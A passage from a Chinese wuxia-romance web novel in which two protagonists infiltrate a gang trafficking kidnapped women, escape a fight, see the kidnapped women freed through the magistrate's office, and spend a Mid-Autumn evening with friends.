“事成之后分给二哥两成利,您看如何?”
“运货不是什么难事,但我要知道你走的是什么货?”
“好货。”温争笑眯眯的伸手抚上唐黎的脸颊,他那粗糙的手指从眉心一路抚摸至下巴,唐黎不自然的皱了下眉,强忍着恶心没有动弹。
正当温争要扯下唐黎的面纱时,蔺渊一把握住他的手道:“温老弟专心点,咱们谈事呢。”
温争爽朗的一笑,揽过蔺渊的肩头低声道:“这屋里的都是货。”
蔺渊满是笑意的眼神划过一丝狠厉,他怕误会温争的意思,特意确认一遍道:“老弟口中的货是指这些女子?”
“是啊,都是上好的货色,运出去能得不少钱。”温争丝毫不觉得有什么不妥,甚至还挺骄傲的。
蔺渊躲开他的胳膊,此刻的他已升不满。
温争只当他嫌分红不够想要更多的银子,犹豫片刻又加上一成利,还表示不能再多否则他就无利可赚。
温争小算盘打的简单,像漕帮这类大帮派都与朝廷大官走的很近,小地方的官府从不敢查漕帮的船,那自己运货便是畅通无阻,再也不用做低伏小跟衙门周旋。
“二哥只管答应,这钱,这美人都是您的。”他满脸堆笑道,拍了拍手示意胡姬围上蔺渊,好生伺候着。
蔺渊被脂粉呛得喘不过气,一个不注意便被胡姬们上下其手给摸了个遍。唐黎立在胡姬外围忍不住偷笑几声,甚至学着胡姬们将自己的披帛甩向蔺渊。
主要是蔺渊红着脸的模样太好笑了,甚至有些....可爱。
哈哈哈哈哈,不行啊,以后真的没眼瞧他一本正经的授课了。
蔺渊本来还在端坐,直到唐黎的披帛甩过来的那刻他彻底坐不住了。
这个唐黎!她到底知不知道此类行为代表着什么!
再看唐黎那一脸逗趣的模样,分明不觉得有何不妥。
他一把抓住唐黎的披帛用力一拽,唐黎正笑眯眯的看着胡姬们调戏蔺渊,谁承想蔺渊来了这么一招,她身形不稳挤过众位胡姬直接扑倒在蔺渊怀里。
这可把蔺渊吓坏了,他并不觉得自己有这般力气能拉动唐黎,自然没想到会把唐黎拉倒在怀。于是万分不自然的避开与之身体接触,手忙脚乱的将她扶稳当。
他则是理了理差点被扒掉的衣服,起身道:“温老弟可知贩卖人口是违背律法的?”
“???”温争都不知道这话从何说起,一个竖起造反大旗的土匪跟自己讲法律?
大哥,你违的法比我严重多了吧?
所以温争有理由觉得蔺渊是在推脱,他语气硬上几分道:“这么说哥哥是不愿意帮忙了?”
“哦,那到也不是。”蔺渊这话一出,唐黎的眼神立马射过来,那眼神分明再说:“你要是答应了,一剑捅死你!”
蔺渊选择没看见,慢悠悠地道:“自然要合作,那你先说说这些女子从哪来,又运往哪里去?”
“诶,急什么,到时候用了船二哥自然就知道。要我说二哥就别管这事,船开来,货我来运,到时候你数银子就好。”温争没有将自己的底牌全部露出,他想拉蔺渊上船,到时候成为一条船上的人,就不怕对方反咬。
想到这他就觉得自己聪慧过人,随手搂过个胡姬便亲上一口,又奖励自己狠狠将胡姬丰满的屁股蹂躏一番。
唐黎的脸色瞬间变了,这才意识到自己身处何地,她不动声色地挪向蔺渊寻求安全感。谁料温争一把拉住她的胳膊,方才就蠢蠢欲动的邪念彻底止不住。
唐黎没有犹豫直接想要动手,她的手刚覆上软剑就被蔺渊紧紧攥住。蔺渊知道唐黎能打,单凭屋里这些个人是拦不住她的。
但是还是那句话,在人家的地盘要以和为贵。
这下子就变成二男争一女的尴尬局面,温争泛红的眼睛缓缓抬起:“蔺二哥什么意思?”
“我喜欢。”蔺渊手上使劲儿直接将唐黎拉到怀中,一把揽住唐黎的腰挑眉笑道:“温老弟,让给我如何?”
唐黎抬眸望去,蔺渊举手投足间满是江湖气,哪还有迂腐的书生气。甚至整个人都像年轻十来岁。就是那胡子可真碍事,有时候真想给他拔掉。
深秋十分,外露的腰已是冰凉,唐黎能感受到蔺渊胳膊带来的温度,以及他跳的飞快的心。
怪哉?他的心怎会跳得如此之快?
是在害怕吗?
只身来谈判,害怕也属正常。
为了安抚蔺渊,唐黎贴在他耳边轻声道:“别怕,我护着你。”
女子吐出的清香萦绕不褪,蔺渊不自然吞了下口水,微抖地喉结泄露他此刻紧张的情绪。
不是对温争,而是对唐黎。
当然,他那跳得飞快的心也是因为唐黎。
“哈哈哈哈。”温争突然笑了起来,十分大气的表示将唐黎赠予蔺渊,自己则是退而求此次随便抱了个胡姬在腿上,享受着胡姬喂酒。
其余众人也是如此,一人拥着位胡姬,有的甚至搂着胡姬就地亲热起来。
唐黎别过脸去,这样的画面她实在看不下去。劝酒声、嬉戏声、淫言秽语,让人听了恶心作呕。
蔺渊注
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意到唐黎紧握的拳头,知道她不会喜欢此刻氛围,伸手覆盖她的手,大掌包裹过来让唐黎的心顿时安定许多。蔺渊侧头抵在唐黎肩膀上,小声说了句:“再忍一会儿,咱们马上走。”
唐黎轻嗯一声,低声道:“你答应他运货只是逢场作戏吧?”
“我.....”
“蔺二爷。”这时来个胡姬娇滴滴地唤着蔺渊,玉臂直接缠绕在蔺渊脖颈上,殷切的就要吻上。唐黎抬手便挡住她的唇,一挑眉毛道:“不好意思,他有主儿了。”
正如她方才所说的,蔺渊由她护着。
“妹妹倒是有趣。”胡姬从蔺渊身上离开,转身间将唐黎腰间的软剑抽出,身形快到唐黎都未来及反应,可见此人有些功夫。
利刃出现,在场的所有人都停下动作。
温争完全不知道发生了什么,打了个酒嗝道:“琉娘,怎么这是?还动上刀剑?”
琉娘反手一转将剑搭在唐黎的脖颈处:“姑娘处心积虑混进来,所为何事啊?”
又转头对温争解释道:“当家的小心,方才手下来报,此女是打晕咱们的人混进来。”
“哦哦。”温争似懂非懂的点点头,他拉过蔺渊道:“二哥小心,此女是刺客。”
唐黎高仰着脖子,她知道此剑的锋利程度,碰不得一下。琉娘只当她在害怕,逼近她道:“说,谁派你来的。”
“尔等诱拐少女,贩卖女子,做尽此等丧尽天良之事。我是来替天行道的!”话音未落,她的脚已经踢上来,琉娘功夫也不错轻松躲闪开。
但唐黎一开始的目标就不是她,而是那柄剑。所以唐黎变化身形的同时拔掉头上的珠钗,划向琉娘的胳膊。
就这样琉娘刺痛,凤鸣剑被抛向空中,唐黎箭步冲上前去,蹬着桌子顺势抓住剑柄往回拽。不但夺回佩剑,还顺带将偷袭之人踹倒一旁。
温争见状,大喝一声挥着大刀攻击过来。唐黎身形一矮避开大刀,转身间剑尖朝着对方胳膊刺过去。温争连忙往旁边闪去,大声招呼搬着救兵。
紧接着又进来不少人,堂下立马变成混战。
面对众人的围攻唐黎应对自如,她手持佩剑不断游走竟如跳舞般优雅,每招每式都极具美感让人移不开视线。
最后一个漂亮的旋身后站定身姿,此刻堂中所有人的武器均断裂到不成型。
她手中那柄削铁如泥的宝剑可不是简单说说的。
好在唐黎不肯伤人,不然这屋中怕是断胳膊断腿的,气味定是不好闻。
蔺渊半眯着眼,看向唐黎的眼里全是惊艳。飘逸的披帛迎风飞舞,衬着唐黎宛如神女降世般美好。蔺渊的嘴角勾起淡淡的弧度,眼神越发的柔和。
果然唐黎与此剑甚是般配,倒像是与她量身定做般。
而琉娘也注意到这把剑,此剑的威力让她想到个江湖传闻,她不动声色拉过温争到身后,剑指蔺渊道:“他们是一伙的!”
蔺渊还在抿茶,他半抬了下眉道:“姑娘,此话从何说起?”
“此女用的是你的佩剑,凤鸣剑。”
40. 是心动啊
“姑娘在胡说什么?”蔺渊一脸无辜的看向温争。
温争出面调节道:“琉娘不得无礼。二哥怎么可能与此女一伙。”
“你个傻子。他们分明就是一伙,我刚才就看到他们耳语不停。”不得不说女人的直觉真的可怕,琉娘认定蔺渊与唐黎认识。
说着手中的剑又离蔺渊近上几分道:“既然蔺当家的说不是你的剑,那你现在就拔剑,拔啊!”
“刚才不是搜过我的身,蔺某并无武器傍身的。”
“少唬老娘,凤鸣剑薄片一般向来隐与腰带之中,很难被人发现。我不信你敢只身前来,不配任何防身之物。”
“....”蔺渊看向温争,指了下近乎癫狂的女子道:“温老弟这就是你的待客之道?”
温争嘿嘿赔笑却也不反驳琉娘。这琉娘是她相好的,帮派中大小事务也都有插手,平时没少为温争出谋划策。温争这人是不聪明,但他对琉娘是绝对信任。
“蔺二哥,就让我们见识见识凤鸣剑呗。”
“你们可知,见过蔺某佩剑出鞘的人....都死了。”他的声音慢了下来带着不小的压迫感。
蔺渊抬手扒开面前的剑尖,端着茶盏慢悠悠地的起身,丝毫没露半分不妥。他径直走到温争面前道:“温老弟,惧内可不是什么好事。”
身后的琉娘叫嚷道:“你若是拿不出佩剑来,趁早承认,也不至于死的太难看。”
蔺渊回眸冲琉娘特意露出俊朗的笑容道:“蔺某自认为面皮还行,就算死,也不会难看。”
唐黎被这句话逗笑了,很快轻咳一声恢复大战在即该有的严肃感。但她的视线一直紧随蔺渊,注意到蔺渊自始至终的捧了个茶盏。
“二哥别开玩笑了,要不小弟帮你拿?”温争挺怕与蔺渊闹翻的,用他的船才是正经事,其余的都靠边站。
偏偏琉娘说要挫白虎山的威风,不能让人小瞧。要不是听那娘们,货运一事早就谈成了。
“我若是不拔剑你当如何?”蔺渊捧着茶盏,用茶盖有一下没一下的敲着,让人听的心烦意乱。
“这......”温争最担忧的事情出现了。
琉娘一听这话,冷笑道:“那便杀了你们!”她来到温争身边道:“不能放走他们,尤其是那丫头知道咱们藏人的地方,若是不除后患无穷。”
温争低声回应道:“到底是白虎山当家的,咱们要是杀了他以后在道上怎么混?”
“怕什么?蔺渊的头颅被千金悬赏,那么多人要杀他,哪里知道是咱们干。”他们这话说的好像已经把蔺渊的人头拿到手。
蔺渊听完认可的点头道:“琉娘说的在理。不过....”他停顿一二,冲唐黎使个眼色示意她往门这边来,然后冷冷地瞥了眼琉娘道:“蔺某混江湖数十年都安然无恙,就凭你们还杀不了我。”
琉娘冷哼一声,抬手指了下房梁道:“蔺二爷没发现您的后手没了吗?”
蔺渊这才注意到屋脊上没有侯保的动静,不由得担心起来。
“你那位手下跟泥鳅似的跑的飞快。把自己兄弟丢下不顾,啧啧。白虎山还有什么脸谈聚义。”
“......”蔺渊没有回话,突然发狠将一直握在手中的茶盏朝着温争脑袋砸去,崩裂的瓷片瞬间让温争血流满面。
这还不算完,蔺渊曲肘勒住温争的脖子,将弓弩对准他的太阳穴道:“让你们的人全部退下!送我们出去!”
“退下!全部退下!”惜命的温争喊道。
所有人听令将路让开,蔺渊挟持着温争,唐黎持剑护着蔺渊,二人一路谨慎的往院外退去。
也不知谁说了句弩机里没有箭,这伙人疯了似的开始进攻。唐黎手中剑一横,再次进入战局。
温争手下的这些人都是跟崔正差不多货色,没几个武功高强的,除了琉娘。
这女人不光武功高强还出手狠辣。
要不是唐黎身形步伐略胜她一筹,估计早就挂彩无数。
蔺渊自觉这样打下去不是个事,唐黎面对车轮战即使不会受伤,也会累竭提不动剑。
他清楚人在逼急时是什么都能做出来的,但他并不想让唐黎手染血腥。
于是蔺渊扬起弓弩,箭簇破风而出直接射中一人。随着那人的倒地众人回过神来,原来那扣下三枚箭簇的弩机还有威胁。
“这不可能,世上怎会有四发的弩机?”琉娘的话中满是质疑。
“我都说了,我家孩子研究的玩意能有十发呢。”蔺渊夸大了一些,其实上官竹研制的只有六发,如今只剩两发。
温争脑门上的血还在流,此刻的他看什么都是模糊,疼痛难耐下忍不住求饶道:“蔺二爷,小弟真的是想和你合作。何必闹成这个样子。”
“你的诚意呢?”抵在脑袋处的箭又近上几分。
温争急忙表示道:“二爷想走绝无人阻拦。”
“我还要她!”蔺渊的眸子射向唐黎,语气不容置疑。此刻的他毫不讲理,霸道极了。
“不行!”琉娘第一个不同意,但她看到温争那可怜巴巴的模样又心软起来。最终犹豫一二,还是松口道:“你们走吧。”
二人挟持温争又后退数步到门外才将其松开,唐黎牵过蔺渊的手一路跑出赌场院子。
身后的琉娘扬起手中的剑,率先追出去:“把这俩人剁了给老娘包饺子!”
众人随声附和,大称琉娘威武,挥舞着兵器士气十足。而就在这时一道白色的人影从门口划过,顺手关上院门。
黑暗中看不清此人的样貌,露出白森森的牙好似在笑。
从腰间抽出一柄长剑来,长剑在月光下泛着诡异的蓝光,令人望而却步。
“你是什么人?敢拦我们褐龙帮!?”温争在众人的搀扶下走了出来。
“见过凤鸣出鞘的人,都死了。”单从声音来听辨认不出男女来。鬼魅的身形在众人身边划过,如春风拂面,那股暖意还未感受完便随着鲜血流逝。
除了划过的几声鸟鸣,整个院子再无一个活物。
......
唐黎拉着蔺渊一路飞奔直到跑到玄武街上,感受到灯火通明的安全感才停下脚步。
“好险呀。”唐黎笑了笑,看她的模样还在回味方才的惊险。
蔺渊也在回味,他
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目光一直停留在那被唐黎牵过的手上,感受着手心留存的温度,竟然想就这么牵着她一直跑下去。
唐黎没有察觉蔺渊的异样,她抬手拍向蔺渊的肩头道:“没想到你还挺勇的嘛。”
对于唐黎的拳头蔺渊都已经习惯,经过这么些天的相处,他发现唐黎根本就没有男女之防,似乎把所有人都当作姐妹。有时他挺好奇的,唐黎到底是在什么的环境下长大的?
再看她冒充胡姬的这身暴露装扮,才站在这里两句话的功夫,就惹到路过的男人纷纷侧眸。蔺渊也是个男人,自然知道那些眼神是什么意思。
想到这莫名其妙得窝一肚子火,蔺渊本想就唐黎的穿搭训斥一二,又觉得自己没这个资格,他想婉转的提醒一二,又怕唐黎会嫌弃自己唠叨,墨迹到最后来了一句:“冷不冷?”
不说还行,一提这事唐黎忍不住打了个冷颤,她点了点头确实挺冷。
蔺渊将外衫脱下来递给唐黎,唐黎并没有接,她有自己的理由:“满身的酒气,我才不穿。”
听闻这话蔺渊脸色沉上几分,不由分说的展开衣服直接披到唐黎身上,唐黎想要挣扎,蔺渊揪着衣襟的动作更紧了,哄着道:“病了还怎么查案?”
唐黎一想也是,也就接受蔺渊的好意。不过觉得今日的蔺渊怪怪的,他似乎一直不敢直视自己。
她不确定便歪头打量着对方,只见蔺渊低垂着眉眼,长而密的睫毛遮盖住双眸,他的脸颊自始至终的泛红。
还真的不胜酒力,只喝了那些酒脸竟然红到现在。
蔺渊感受到唐黎的视线,他轻咳了两声随即问道:“你怎么会出现在这里?”
这下换成唐黎不敢迎上蔺渊的视线,她拉着身上的长衫道:“我查到水月楼拐卖少女,她们是经琉娘的手转卖出去,便想着混进来看看能否找到梅花针的线索。”
“所以你找到了吗?”
“没有,我刚换上胡姬的衣裳就被人拉来见客,哪有机会啊。”唐黎语气带着些不甘。她抬眸问道:“诶,那你为什么会出现在此?”
“谈个生意。”蔺渊随口糊弄过去。
谁知唐黎误会买卖少女的生意也有蔺渊手笔,抬手便给蔺渊的后背一巴掌。
她手劲向来不小,打到蔺渊疼弯了腰,眼泪都快涌出来了,他委屈的抬眸道:“你手怎么这么狂,又打我?”
“谁让你不干人事?跟温争琉娘之流的同流合污。要不是看你为南.....”衙做事的份上!不然打死你!
这话没说完就被蔺渊捂上了嘴。
此刻的唐黎被蔺渊圈在怀中,她眨眨眼马上有所行动,就在蔺渊被唐黎摔出去之前,及时说道:“我没有不干人事,而且我的身份不能暴露,听明白了吗?”
唐黎眨眨眼表示明白,蔺渊这才松开她。
唐黎喘口气,抬手便拉过蔺渊的手腕把着脉:“奇怪?你的心为何总跳那么快?”
她竟还将手覆上蔺渊的心口,这下好了,蔺渊的心跳得更快。
还能因为什么,还不是心动的自然反应。
可这份心意蔺渊不能说出,也永远不会说出。
41. 再动! 别逼我绑你啊
今晚是中秋佳节,硕大的圆月挂在天边,似乎要比灯火更加明亮。蔺渊与唐黎保持该有的距离并行,二人的影子却朦胧的交织在一处。
对于方才的冒险,唐黎还在说得没完,甚至开始复盘方才的不足,以及日后碰到此类情况如何解决。
她点了下心不在焉的蔺渊道:“你们混江湖的每天都这般刺激吗?”
“如果可以,大家都想安稳度日。”蔺渊如实说道。
唐黎捋着辫子,对江湖的刀光剑影表示向往。她道:“安稳过日子太没趣了。你看我,每天不是上课就是睡觉的,直到你来到书院才有意思起来。”
蔺渊温柔笑着。他不想打破唐黎对于江湖的幻想。其实这更多也是在维护自己的形象。
“白虎山真的会替天行道?”
“会。”蔺渊点点头。
只是这个“天”,还有那个“道”的意思过于广泛。
白虎山看不顺眼的事很多,不一定符合传统意义上的天道,但只要白虎山想出手,怎么都能寻了个师出有名。
这便是替天行道。
“白虎山真的会劫富济贫?”
“会。”蔺渊又点点头。实际情况也大差不差,只是这个“济贫”仅限与白虎山周边的百姓。这些百姓受白虎山庇护,平时会提供粮食牲畜,赶上山头打架时也会出些壮丁入寨。
唐黎眼中亮上几分,她笑着道:“我能不能去白虎山?”
蔺渊直接给她表演个瞳孔地震,他不解的道:“那块现在是逆贼窝,你若是去会被当小逆贼拿下的。”
“可听你方才那么一说,我不觉得白虎山是逆贼呀,而且你也不像会造反之人。”唐黎满眼的单纯,直接把蔺渊盯到心虚,他干脆大踏步的往前走。
“走那么快干嘛?”唐黎囔囔道。
就在这时唐黎耳朵微动,她注意到身后有危险袭来,拉过蔺渊快速的闪躲一旁。还没来及扶起蔺渊,数枚箭簇相继飞来,分别朝着唐黎与蔺渊而去。
唐黎轻松的闪过,转眸见蔺渊直面箭簇没有丝毫反应,以他的身手根本没可能躲过。
那么短的距离根本来不及拔剑,唐黎想也没想就挡在蔺渊身前。
只觉得天地间旋转起来,蔺渊搂过唐黎脚尖微转导致二人互换位置,而蔺渊举起弓弩毫不客气的连放两发,以他的准度对方很难逃脱,不远处先是痛呼一声很快便没了声音。
“卑鄙小人!”唐黎还记得在后山被人偷袭到很惨,说着就要去看看暗处的到底是谁。
才走两步就听到身后蔺渊闷哼的动静。她连忙折返回来,发现那枚箭最终还是射进蔺渊的肩头。
“你不要紧吧!?”
“先回客栈。”蔺渊疼到牙齿打颤,也不忘安慰唐黎自己无碍。
这一路上唐黎不再讲话,她掏出手帕捂上蔺渊的伤口,不停的观察四周环境,生怕又窜出个什么人来。
刚进房间蔺渊二话没说直接将唐黎关在门外,唐黎拍了几下门,见无人应答也就放弃。
蔺渊端来一盆水,一坛酒,这便是治伤的全部物件。握紧箭簇的同时紧闭双眼。
他怕疼,从小就怕疼,还经常因此被同窗嘲笑不像个男子汉。
但这箭不能不拔。
他一边安慰着自己不要害怕,一边咬紧牙关手上发狠终于将箭拔了出来。
那种疼痛直冲脑顶,蔺渊半靠在床榻上喘着粗气,本想拿酒来清理伤口,竟连起来的力气都没有。
这时窗口处发出细微的动静,蔺渊强撑到清醒,发抖的手握住枕下匕首,他害怕此刻来了仇家,那可真就交代与此。
来人蹑手蹑脚的翻窗进屋,竹子的清香率先随风飘来。
“唐黎,你给我出来!”蔺渊还未见人便喊着对方的名字。
“你看看你,明明一个人不行还逞强。”唐黎熟练的挽起袖子打湿毛巾。
方才蔺渊关门,她就知道蔺渊心里是怎么想的。无非就是非礼勿视,男女授受不亲之类的。
她虽不认同此类想法,也知道蔺渊是为自己着想所以翻窗进来。这样就没人看到我们孤男寡女共处一室。有损我的清誉,或者是蔺渊的清誉。
“我真的没事。”蔺渊一边拉着衣服,一边往后躲去,直到贴到墙壁处退无可退。
“再说一遍,我跟复叔学过医,你这伤口如果不好好处理,会死人的。”她上手就脱了蔺渊的外衣。蔺渊紧接就穿好外衣道:“真的不用,我自己能解决。”
“你要是能自己解决就该知道伤口不能乱动,也不能用脏衣服捂着。”她直接打向蔺渊拉着衣服的手,一把扯开衣裳道:“不就看个胳膊嘛,矫情。”
蔺渊还是觉得这样不妥,尤其两人都在床上,这成何体统啊。自己倒无所谓,主要对唐黎的名声不好。
他打算下床,谁知竟被唐黎揪住衣领,蔺渊都不知发生了什么,再睁眼时自己已经仰面躺在床上,刚要起身唐黎一把摁上他的肩头,警告道:“你要是再不老实,信不信我绑了你?”
看她的神色很是认真,蔺渊不由得老实不动。他了解唐黎的性格,这话绝不是随口说说,她真的能办到。
“这不合规矩。”蔺渊小声反抗道。
“规矩向来束缚不了我。”唐黎探过身查看蔺渊的伤口,并没有伤及骨头,所以只需要上药包扎即可。她取了止血散给他撒上,然后拿着干净的纱布给包裹伤口。
微弱的烛光下将唐黎映照在柔光之中,脸上的表情温婉至极,蔺渊看的有些失神,而唐黎一心都在治伤上。
“好了。”唐黎打了个漂亮的蝴蝶结作为结束,又为蔺渊端来一杯水来。
“方才为何要替我挡箭?”蔺渊盯着唐黎问道,他目光有点幽深甚是期待唐黎的回答。
“路见不平拔刀相助嘛。”唐黎手里整理着带血的纱布,语气也是稀松平常。
是啊,路见不平拔刀相助。
蔺渊囔囔诶重复着,自己对于唐黎来说与那些萍水相逢没什么两样,谁让她就是那爱拔刀相助的性格。
就像现在,无论躺在这里的是谁,唐黎都会一样对待。
是自己出格了,
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竟然痴心妄想。
当真是疼糊涂。
蔺渊释然的笑道:“无论怎么说,还是要谢谢你。”
“咱俩还说什么谢。”唐黎笑了笑,回忆起刚才挡箭的情景,竟觉得蔺渊是故意中箭的,不然以蔺渊的身手哪能反应这般快。
对此蔺渊的解释是这样的:“我确实是故意中箭,只有这样我才能确定射箭之人的方位。”
“哪有打架先伤自己的。”她忙完手里的活,搬了个椅子坐到蔺渊面前道:“如果你愿意,我可以教你武功。”
蔺渊感激的笑了笑道:“四肢不协调,平衡力还差。”最后总结道:“我对练武没什么天赋。”
“怎么会啊,你这长胳膊长腿,要是用起长兵器来事半功倍,等你好了我就教你。”直接一副说好的样子。
蔺渊却不敢轻易承诺,中秋节过后书院的事就该了结,日后定不会相见。他沉浸在自己的思绪中,就连唐黎道了告退都是机械的挥挥手。
他太想安稳的过日子,太想在书院里继续教书。
可这些好日子总归要到头了。
蔺渊推开窗户,冷风袭来让他的头脑清醒不少。他目不转睛的盯着胳膊处唐黎打的蝴蝶结,似乎在邓州放不下的还有一个人。
“哥哥!”侯保直接倒挂在窗边,把蔺渊吓得不行,他缓口气道:“你在赌场没受伤吧?你还是先进屋吧。挂在这怪吓人的。”
侯保进屋灌口水道:“哥哥不知道温争太不是东西!邓州城里关了六十名少女啊!都是拐来的!”
蔺渊赶忙给侯保续了杯水听他继续讲,侯保先是竖了个大拇指道:“大侄女是这个!她一个人摸清被拐少女的位置,托我把消息带给衙门。”
“等等,你什么时候碰到的唐黎?”
“被温争那婆娘追的时候,我躲到柴房扭头就碰到大侄女。我觉得此事不小,怕温争回过味儿来转移那些姑娘,就先去衙门找了顾平安。”
“那孩子们呢?解救成功了?”
侯保说得热血澎湃,他激动到起立:“全部成功!衙门现在正安排女吏核实每位的情况,到时候全部送还归家。”
蔺渊与侯保一样欣然的笑了,唐黎就是唐黎,果然出手不凡。也怨不得在赌场琉娘那般急躁呀。
侯保后知后觉的发现蔺渊受了伤,急忙起身道:“这是?”
“中了一箭,我想躲没躲成功,不碍事的。”
“时臣没跟着你吗?”
“没有啊,咱们的人我一个都没见到。我也没通知大家,你通知了?”
“那.....”侯保看向蔺渊一字一句的说道:“那就是说褐龙帮被灭一事,不是咱们做的?”
“你说什么?”蔺渊怀疑自己听错了,再次询问道。
“褐龙帮被灭,一院子的尸体,据说无人生还。顾平安估计又要怀疑到哥哥身上。”
蔺渊握紧杯子,他现在并不担心顾平安怀疑自己,而是怕唐黎误会自己,她现在与顾平安走这般近,难保不会跟着顾平安重回赌场,毕竟那里有梅花针的线索。
42. 悬着的心终于死了
离上百步远都能闻到赌场血腥味,顾平安挥手扇了扇身上的味,快步走向唐黎,恭敬的行礼道:“我替那六十位被拐女子谢过唐学子。”
唐黎摆手道:“别谢我,是侯大哥的功劳。哦,对了,琉娘对于梅花针有什么说法?”
“没有见到琉娘。”
“那温争呢?”
“死了。”
“死了?”唐黎有些不可思议。虽说被蔺渊用茶碗到脑袋开瓢,也不至于现在就死了呀。
“褐龙帮的所有人都死了。”顾平安看向惨案发生的院子补充道:“倒是还剩一个活口,可惜疯了。疯疯癫癫的只重复一句话。”
“什么?”
“见过凤鸣出鞘的人,必须死。”顾平安重复道,唐黎不知不觉的抚摸上腰间的佩剑。
顾平安只当唐黎没听懂,解释道:“凤鸣剑是蔺渊的佩剑。”
“刚才我与蔺渊一起,他没有时间杀人,而且以他的武功也不可能杀那么多人。”唐黎为蔺渊作证道。
“所有人被一剑贯喉,创伤为典型的迅捷剑。此类剑窄扁锋利,身量轻,与凤鸣剑很是相似。”
“你也说了很是相似,不一定是凤鸣剑。”
“但能削铁如泥的迅捷剑,除非世上有两把凤鸣。”
“不不不,你方才说一剑贯喉,凤鸣剑为软剑,它做不到一剑贯喉的。”她左右比划一下道:“左右一剑封喉还差不多,前后贯喉定是硬剑。”
顾平安扭过头来,看着唐黎郑重的说道:“唐学子,莫要轻信强人的话,江湖中人最是狡诈。你还是离蔺渊远些吧。”
顾平安的话一直在脑中回荡。他说的没错,即使动手的不是蔺渊,也是白虎山。
那么多条人命啊。
可褐龙帮都是些恶贯满盈的坏人,白虎山分明是在替天行道。
不不不,一切有律法约束,该有衙门来判决他们的罪责。那如果这样,白虎山也必须受到律法的审判。
颓废的走在街上,周遭都是热闹过节的众人,唐黎阴郁的心情更甚。
“唐黎!”林家肉铺前林焕挥挥手道:“吃月饼了!我娘都备好了。”
上官竹也探出头附和道:“对对对,咱们吃月饼。”
林家夫妇热情款待,温馨的氛围下唐黎的情绪才算有所缓和。
林焕拎着两个灯笼过来:“我爹从柴房翻出来的灯笼架子,又重新糊了一层纸,跟新的似的。”
“哇,一只兔子,一只螃蟹诶。林焕你先挑,剩下的是我的。”
林焕选了兔子灯,唐黎则拿起螃蟹灯。两人打着灯笼到巷子中去玩。月色漫步,一切都变得宁静,烛火在灯笼中偶尔爆出几声响动。
二人都没有说话,只是静静地走着,不知不觉就到了巷尾处。
唐黎突然开口道:“九十五两银子的事你问爹娘了吗?”
“嗯。”林焕点点头道:“我娘说出事后,她就到处凑银子,突然有一天来了个衙役说不用交了,赵家不再追究,这事就不了了之。所以赵家每次来闹,我娘都不敢声张,就怕赵家追缴这笔银两。”
“此事需与顾相公说,那个传话的衙役也让他去寻。”
“好。”
二人打着灯笼又折返回去,林家门口立着位男子正朝着巷子探头探脑。
唐黎认识此人,是前段时间托自己送信邀约林焕的那位。
“王大哥。”林焕礼貌的问好。
王金诚嘿嘿憨笑两声道:“刚拜访完林叔林婶,出门就碰到换娘,好巧啊。”
唐黎默默地撇撇嘴,明明在此蹲守,愣说碰巧,哪里就这么巧。
“那什么....”王金诚紧张的搓搓手:“我……明晚画舫....那什么.....”他见唐黎守在林焕旁边,到嘴的话愣是没说出口。
这时林母朝着唐黎招手道:“唐姑娘,来,上官学子买了不少螃蟹,又肥又鲜的快尝尝。”
想来王金诚在此堵林焕是林伯母的授意,唐黎不是那不解风情的人,她回应着林母大步跑进院子。
上官竹正咬着螃蟹腿趴在墙头,他冲唐黎做了个噤声的手势。唐黎同样好奇,提着裙子也趴过去,伸长耳朵想听王金诚在说什么,可惜一无所获。
不过看二人有说有笑的,应该是聊的不错。
唐黎小声道:“这位想邀请林焕去游画舫,那画舫可不便宜,是下了血本。”
“东临湖的那个画舫?”
“嗯。你也知道?”
上官竹一甩脑袋后的马尾,颇为骄傲的道:“好玩好吃的地方我都知道。”他从唐黎手中抢过半个螃蟹:“你要不要去?我请你。”
“用你请?我想去自然就去喽。”唐黎轻笑一声,抬手就把螃蟹抢回来,跳下墙头头也不回的离开。
“诶,那螃蟹是我买的,有本事自己买去。”上官竹没有去追,依旧趴在墙头上,望着月下笼罩的二人。
不知怎么了,向来没心没肺的他,竟觉得心口烦闷。
他抬头望月,自认为是思乡之情。宽解完自己后又开开心心的从墙头跃下,与唐黎逗起趣来。
今晚三人全都入住林家。林家好久没这般热闹,林母开心到合不拢嘴,拉着唐黎说了不少体己话。
上官竹则是跟着林焕的父亲研究起弓箭来。林父喝了不少酒,躺在园中便睡着了,上官竹废死劲儿才将其拉进屋中。
无论昨夜发生再多的事情,太阳总是照常升起,光亮会将一切阴霾扫清。
万分疲累的唐黎,终于在林焕接二连三的摇晃中清醒。
她这一觉干脆睡到第二天傍晚。
“快点唐黎,要不然赶不上登船了!”上官竹的声音在窗外响起。
画舫按照约定的时间驶入邓家口,众人对着张灯结彩的画舫是称赞不已。
“林妹妹,咱们入船吧。”王金诚做了个请的动作。
林焕冲他笑笑,回头看向身后的唐黎与上官竹。王金诚察觉到林焕的视线,笑着道:“咱们就不打扰唐学子与上官学子,想必他们也有不少体己话要说。”
“王大哥你误会了,她们不是一对。”林焕想为唐黎分辨两句。
“走,咱们买糖葫芦。”他直接拉过林焕跑去买糖葫芦。
“咦?怎么跑了?”上官竹反应过来就要追,唐黎一把揪住他衣领道:“没看到人家烦你,想避开你,还追。”
“不是。”他指着远处,又指着自己道:“烦我?凭什么?我偏要跟着。”
“消停些吧。人家郎才女貌的,哪里有你插嘴的份儿。”
“你就睁着眼说瞎话吧。姓王的长得普普通通,扔到人群里找都找不到。家中无长物,身上无功名。他跟林焕哪里都不配!”上官竹说到激动处,声音都要大上几分。
“嘘,你小点声。”唐黎安抚住上官竹,打趣道:“行行行,人家王大哥不配,你就配?”
“我....我.....”上官竹脸上闪过一丝不自在,梗着脖子道:“我哪里不配?”也就硬气一刹那,他就埋头理着衣摆,囔囔道:“明明很配嘛。”
唐黎看出些端倪,她挑了挑眉试探的问道:“哦,原来你喜欢林焕。”
“没有的事。”上官竹猛然抬起头,急忙否认道。
“没有就没有呗,激动什么。”唐黎无语的白了他一眼。
承认喜欢一个人的勇气都没有,窝囊废。
她懒得搭理上官竹,大踏步的往前走。忽然一道熟悉的身影飘过,她连忙招手道:“表兄?”
“表兄,真的是你诶。”唐黎很是惊讶。
来者一袭白衣,墨发高束,高大英气,通身气派非凡,俊朗无双的面孔带着浅笑,眼中含着温柔和宠溺看着唐黎道:“小黎儿?你这是休沐?”
“是啊。表兄来邓州怎么也不提前知会一声?我好去迎接你呀。”
“许久未见,小黎儿长高不少。”
“打三年前我就没长过个,表兄没活说可以不说。”唐黎直接点破,可见她与表兄关系匪浅。
